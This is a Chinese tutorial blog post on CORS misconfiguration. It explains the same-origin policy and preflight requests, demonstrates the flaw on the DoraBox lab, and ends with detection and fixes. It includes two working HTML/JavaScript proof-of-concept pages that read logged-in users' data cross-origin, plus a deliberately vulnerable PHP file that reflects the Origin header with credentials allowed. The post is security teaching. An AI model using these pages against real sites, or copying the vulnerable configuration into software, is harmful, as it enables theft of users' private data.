javaWeb攻防

初识CORS跨域资源共享漏洞

2021-02-03  本文已影响0人  book4yi

前言:


很早之前就想学习了解的一个漏洞,虽然实战中还没遇到过,但并不影响我认识它。

基础了解:


这里先简单介绍下同源策略:

为了保证用户信息的安全,防止恶意的网站窃取数据。不是同源的网站,不能相互读取信息,譬如用户登录A站,同时登录了B站,如果A\B不是同源,那么A不能读取B站的数据

同源策略包括以下三个方面:同端口、同协议、同域名

同源策略(SOP)限制了应用程序之间的信息共享,并且仅允许在托管应用程序的域内共享。这有效防止了系统机密信息的泄露。但与此同时,也带来了另外的问题。随着Web应用程序和微服务使用的日益增长,出于实用目的往往需要将信息从一个子域传递到另一个子域,或者在不同域之间进行传递(例如将访问令牌和会话标识符,传递给另一个应用程序)

默认的配置,或是由于缺乏对此的了解而导致了错误的配置。

CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。它允许浏览器向跨源(协议 + 域名 + 端口)服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
CORS 需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE 浏览器不能低于 IE10。

CORS 背后的基本思想,就是使用自定义的 HTTP 头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败。

漏洞详情:


CORS定义了两种跨域请求:简单请求 和 非简单请求:

  • 简单跨域请求就是使用设定的请求方式请求数据
  • 非简单跨域请求则是在使用设定的请求方式请求数据之前,先发送一个OPTIONS预检请求,验证请求源是否为服务端允许源。只有"预检"通过后才会再发送一次请求用于数据传输

简单跨域请求需同时满足以下两个条件:

  • 请求方法是以下三种方法之一:HEAD、GET、POST
  • HTTP的头信息不超出以下几种字段:
    Accept
    Accept-Language
    Content-Language
    Last-Event-ID
    Content-Type:application/x-www-form-urlencoded、 multipart/form-data、text/plain

简单请求:
浏览器直接发出CORS请求,在头信息中添加一个Origin字段,用来说明请求来自哪个源,服务器根据这个值,决定是否同意这次请求。
如果Origin指定的源在许可范围内,即验证通过,服务端会在Response Header 添加下面几个字段:

  • Access-Control-Allow-Origin:该字段是必须的。它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。
  • Access-Control-Allow-Credentials:该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。当设置为true时,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。
  • Access-Control-Allow-Headers:用来判断浏览器通过什么方式发起的,默认是content-type,如果后端服务器未配置这个请求头,或者仅允许content-type而浏览器通过XMLHttpRequest发起,也会跨域失败。

如果服务器不许可,服务器也会返回一个正常的HTTP回应,返回的状态码可能为200。返回的信息中不会包含Access-Control-Allow-Origin字段
而浏览器会发现,这个回应的头信息中的Access-Control-Allow-Origin字段不包含访问源,就知道出错了,从而抛出同源检测异常的错误。这个错误不能通过状态码识别,需要onerror捕获

这里以DoraBox靶场演示:
项目地址:https://github.com/Acmesec/DoraBox

修改header中的origin字段,验证是否存在CORS跨域漏洞:

利用POC:

<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
 
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://192.168.107.156/DoraBox/csrf/userinfo.php", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
 
</body>
</html>

成功跨域获取敏感信息:

非简单请求:

浏览器先发送一个OPTIONS方法的预检请求,带有如下字段:

  • Origin: 表明来源域。
  • Access-Control-Request-Method: 表面接下来请求的方法,例如PUT、DELETE等等
  • Access-Control-Request-Headers: 自定义的头部,所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中

如果服务器配置了CORS,会返回对应对的字段:

  • Access-Control-Allow-Origin: 允许进行跨域请求的域名
  • Access-Control-Allow-Methods: 允许进行跨域请求的方式
  • Access-Control-Allow-Headers: 允许进行跨区请求的头部

如下图所示:

CORS的最后一道防线:
如果一个目标域设置成了允许任意域的跨域请求,这个请求又带着 Cookie 的话,这个请求是不合法的。
也就是说,如果需要实现带 Cookie 的跨域请求,CORS服务端需要明确的配置允许来源的域,使用任意域的配置是不合法的)浏览器会屏蔽掉返回的结果,Javascript 就没法获取返回的数据了。

示例代码如下:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

当然对于无cookie页面是可以进行CSRF或者CORS攻击,这种情况一般危害就相对小很多了。

如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials字段。

Access-Control-Allow-Credentials: true

另一方面,开发者必须在AJAX请求中打开withCredentials属性

var xhr = new XMLHttpRequest();
xhr.withCredentials = true;

现实环境中的CORS,几乎都是必定需要cookie的,不需要cookie的CORS的危害度也大大降低。
设置一个需要cookie才能访问的页面:

# cors.php
<?php
setcookie("name","admin");
# header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");
# header("Access-Control-Allow-Credentials: true");
header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Headers: content-type,x-requested-with');
$id=json_decode(file_get_contents("php://input"),TRUE)['id'];
if (($id == 1) && ($_COOKIE["name"] == "admin")){
echo json_encode(array(
       'id' => 1,
       'name' => 'test',
'iphone' => 13888888888,
'email' => 'test@qq.com'
  ));
}
?>

不携带cookie进行访问,无法获取敏感数据:

利用POC:

// cors_test2.html
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
 
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  payload = '{"id":"1"}';
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("POST", "http://192.168.107.156/DoraBox/csrf/cors.php", true);
  xhttp.setRequestHeader("Content-type","application/json; charset=utf-8");
  xhttp.withCredentials = true;
  xhttp.send(payload);
}
</script>
 
</body>
</html>

测试的时候发现CORS失效,原因是默认情况下服务器不许可Cookie可以包含在请求中,一起发给服务器。

我们将cors.php对应注释的部分去掉即可:

漏洞代码:
1、一般如下配置是最危险的,可以携带cookie进行CORS攻击

header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
header("Access-Control-Allow-Credentials: true");

2、这种情况下,无cookie页面可以进行CORS攻击。

header('Access-Control-Allow-Origin: *')

补充说明:

  1. 相同的一级域名(比如joychou.org)
  2. Cookie的domain设置为.joychou.org

漏洞检测:

一般在burp中增加Origin: https://test.com,观察服务器采用了哪种配置。如果使用的是白名单,也有可能是使用了正则白名单,有可能存在绕过的方式。

修复方案:

1、严格效验来自请求数据包中的“Origin”的值。当收到跨域请求的时候,要检查“Origin” 的值是否是一个可信的源,还要检查是否为null
2、避免使用 “Access-Control-Allow-Credentials :true” (请求中带cookie)
3、减少“Access-Control-Allow-Methods”所允许的方法(只需要配置你所需要的即可)

参考如下:


CSRF-CORS-JSONP
CORS跨域资源共享漏洞
跨域CORS、JSONP原理及漏洞的利用
CORS · JoyChou93/java-sec-code Wiki
Web业务安全测试—CORS跨域资源共享漏洞
《网络安全学习》 第七部分-----跨域资源共享(CORS)漏洞

上一篇下一篇

猜你喜欢

热点阅读